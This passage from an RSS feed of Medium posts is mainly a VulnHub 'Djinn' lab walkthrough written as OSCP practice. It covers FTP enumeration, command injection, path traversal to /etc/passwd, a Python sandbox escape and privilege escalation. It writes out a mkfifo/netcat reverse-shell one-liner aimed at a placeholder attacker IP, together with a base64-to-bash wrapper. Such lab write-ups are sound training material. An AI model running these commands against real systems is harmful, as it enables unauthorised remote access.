/></figure><p>The command PATH=.:$PATH is used to add the current directory (.) to the beginning of the system’s executable search path, which is represented by the PATH environment variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*3b4hixNv-MtNbR6V4Ji24Q.png" /></figure><p>Voila! Another room done!</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecb58c694098" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Djinn machine— Walkthrough]]></title>
            <link>https://cursemagic.medium.com/djinn-machine-walkthrough-86eec5602592?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/86eec5602592</guid>
            <category><![CDATA[djinn]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Sat, 23 Dec 2023 20:59:49 GMT</pubDate>
            <atom:updated>2023-12-23T20:59:49.146Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys, this is the sixth day and sixth box (6D-6B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on Djinn machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>###############################################################</p><h3>Enumeration</h3><p>Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyhAEcjsZej5KTtnnP49xA.png" /></figure><p>FTP</p><p>We can login to the ftp server and download the files. It is good to see we do not need a user’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YM_t9PJD0-FvmEvibMedMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqUs8zm3YxNYxmhs_V5Y1Q.png" /></figure><p>creds.txt</p><p>We will see a credentials in the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*-QB68zxqrj7f10VU-ft6kw.png" /></figure><p>game.txt</p><p>Looks like we will have a port on 1337 and there will be a game.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*UU_fL2bmWlbEuKC4vIyvwg.png" /></figure><p>message.txt</p><p>We might have another username? But we can confirm it will be a mess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*hz4jfqV6yzbeGXalRtwYXw.png" /></figure><p>Port 7331</p><p>Now, we can see there is nothing special on the http page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*9tZNTqB0kp6r_N_5Nj3txg.png" /></figure><p>gobuster</p><p>We got wish and a genie. (Wish my dream come true)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*DsGX_mK2nPbNbwYRNkPOBw.png" /></figure><p>/wish</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*qpzlUVKc4OV6PejlEF9afQ.png" /></figure><p>when i tried to enter ‘whoami’, it shows error. But, the url still reflects the whoami command. Maybe we still have some hope with our wish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*Xl0gkdG6ypxcSnMPmhTACQ.png" /></figure><p>But when using “../../../../../etc/passwd”, it shows a different output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*tR8EEX5IsRQTvgzMK4gI2g.png" /></figure><p>After trying for a moment, I finally get a reverse shell from the cmd prompt.</p><p>Original: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc &lt;Attacker_IP&gt; 4444 &gt;/tmp/f</p><p>Base64 encoded: echo &lt;The_Encoded_Original&gt;| base64 -d |bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*MB0_ETi9WPxlIj-RMyRyYQ.png" /></figure><h3>Searching, and wandering around…</h3><p>The app.py shows this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*_tPLdLG1qHFtjPYWxm183Q.png" /></figure><p>And we can checks the location of the creds.txt, we can find a new credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*pbJV2144ZueQ9WkS4UzVcw.png" /></figure><p>So, to switch user to nitish, we can use the command su nitish. But, we will need to upgrade the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*ia4uF-4k8Sy51HXh7vuSrQ.png" /></figure><h3>I am Nitish</h3><p>On Nitsh user directory, we can find user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*lp-opM9hxsfDiuESaPn5BA.png" /></figure><p>Now, I try to check the user’s permission. We can see that there is /usr/bin/genie that we might able to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*i0mL56I5FMVxW9eIWbzJqg.png" /></figure><p>So, we could try to ask genie for help?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*GksS5ZiuISqmJ3b6kvNFYQ.png" /></figure><p>Let’s try some…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*uA1kJblqbxVaEcvXSzeAKA.png" /></figure><p>It just added and nothing had changed. Also, I had tried to look for other method but it still failed.</p><p>Maybe we should try the math game on port 1337?</p><h3>Port 1337</h3><p>Well, you are partially right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*V_AQu_7Hagxm-7GnSO_NUw.png" /></figure><p>Finding on Google for a while and I find this.</p><blockquote>Link: https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes</blockquote><p>I tried one of it here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*lGV2VGZHZ06BAMLnufCdug.png" /></figure><p>After multiple tries, finally I get the reverse connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*fYonIFg5xkFxIoP05m5qDw.png" /></figure><p>The bash, is to ensures that the command is interpreted by the Bash shell. Without it, the command would be executed by the default shell of the system, which may or may not be Bash.</p><p>Then, we have the final proof.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*rZP7Z8aEXlaTnbJgMBI5Cg.png" /></figure><p>Voila! Another room done!</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86eec5602592" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>